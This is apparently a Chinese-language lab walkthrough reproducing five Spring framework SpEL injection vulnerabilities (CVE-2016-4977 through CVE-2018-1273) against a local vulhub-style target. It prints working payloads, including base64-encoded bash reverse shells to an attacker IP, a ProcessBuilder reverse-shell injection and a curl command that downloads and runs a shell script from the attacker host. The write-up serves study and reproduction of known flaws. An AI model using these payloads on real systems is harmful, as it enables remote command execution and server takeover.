1.CVE-2016-4977
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language(SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
1.访问网址:
http://192.168.225.139:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
设置用户名(随意):admin admin
2.发现返回结果为${}中的乘法被执行:
3.使用自带的poc.py脚本生成命令:(这里写的创建一个临时目录)
python poc.py->touch /tmp/123
将得到的poc在url中执行:
返回靶机验证是否成功创建目录:
4.同样:也可以在kali监听进行反弹shell的操作,要对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符):
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
5.在url中执行命令:
6.成功反弹shell:
2.CVE-2017-4971
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
1.访问8080端口,将看到一个酒店预订的页面,这是spring-webflow官方给的简单示例,点击login来到登录界面,用所给定的账号密码登录
2.登录后来到hotel界面,然后访问id为1的酒店http://192.168.225.139:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
3.再点击确认“Confirm”进行抓包:
原理:在订阅酒店处,存在一个命令执行,直接调用了两个函数,这两个函数,一个是:addDefaultMappings,一个是addModelBindings。
其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有binder节点,如果有,就无法触发代码执行。所以条件有两个:
(1)binder节点为空;
(2)useSpringBeanBinding默认值(false)未修改。
由此可实际在代码中找到该页面,节点为空(代替命令执行语句)+默认值为false(点击Confirm按钮)
3.构造payload:
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.225.133/6666+0>%261")).start()=vulhub
4.成功反弹shell
3.CVE-2017-8046
Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中【实现RFC6902】(https://tools.ietf.org/html/rfc6902)),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
1访问8080端口,看到json格式的返回值,说明这是一个Restful风格的API服务器。发现两个网址:
2.分别进行访问,只有customers可以访问,进行该页面的抓包:
修改请求头为Content-Type:application/json-patch+json
需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割
3.抓包,修改参数:参数path存在代码注入,可执行系统命令,这里运行的命令是尝试创建文件夹:
new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}
path的值是SpEL表达式,发送上述数据包,执行写入表命令:touch /tmp/success,成功写入
4.也可以进行反弹shell的操作,因为payload先要进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
再进行ascii转码:
这里有一个脚本:(生成的ASCII码中的空格要替换成英文的逗号,可以放在文本编辑器中ctrl+h全部替换:)
修改burp中path的byte里面的数值:
成功反弹shell:
4.CVE-2018-1270
spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。
连接后端服务器的流程,可以理解为: 用STOMP协议将数据组合成一个文本流,再用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信,使用http来复现漏洞,称之为“降维打击”。
1.使用如下脚本直接进行命令执行,创建一个名为test的文件夹,注意需要修改目标IP(需要使用9-+*/python>=3.6):
检查是否写入:
2.同上一个漏洞,也可以进行反弹shell的操作(有脚本):
在kali机上成功反弹shell:
5.CVE-2018-1273
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
1.访问http://192.168.225.139:8080/users,将可以看到一个用户注册页面,提交抓包:
2.修改数据包,执行创建success文件的命令:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
成功写入:
3.尝试反弹shell(针对bash环境):与上面的思路大同小异,只是这里执行的文件为.sh,内容为:
4.将bash.sh上传到/root目录下:,首先使用curl命令指定路径将bash.sh下载到目标主机/tmp/目录下:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/bash.sh http://192.168.225.133:9999/bash.sh")]=&password=&repeatedPassword=
5.在监听口可以知道文件已下载,开始执行命令:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/bash.sh")]=&password=&repeatedPassword=
执行.sh文件:成功反弹shell:
成功反弹shell: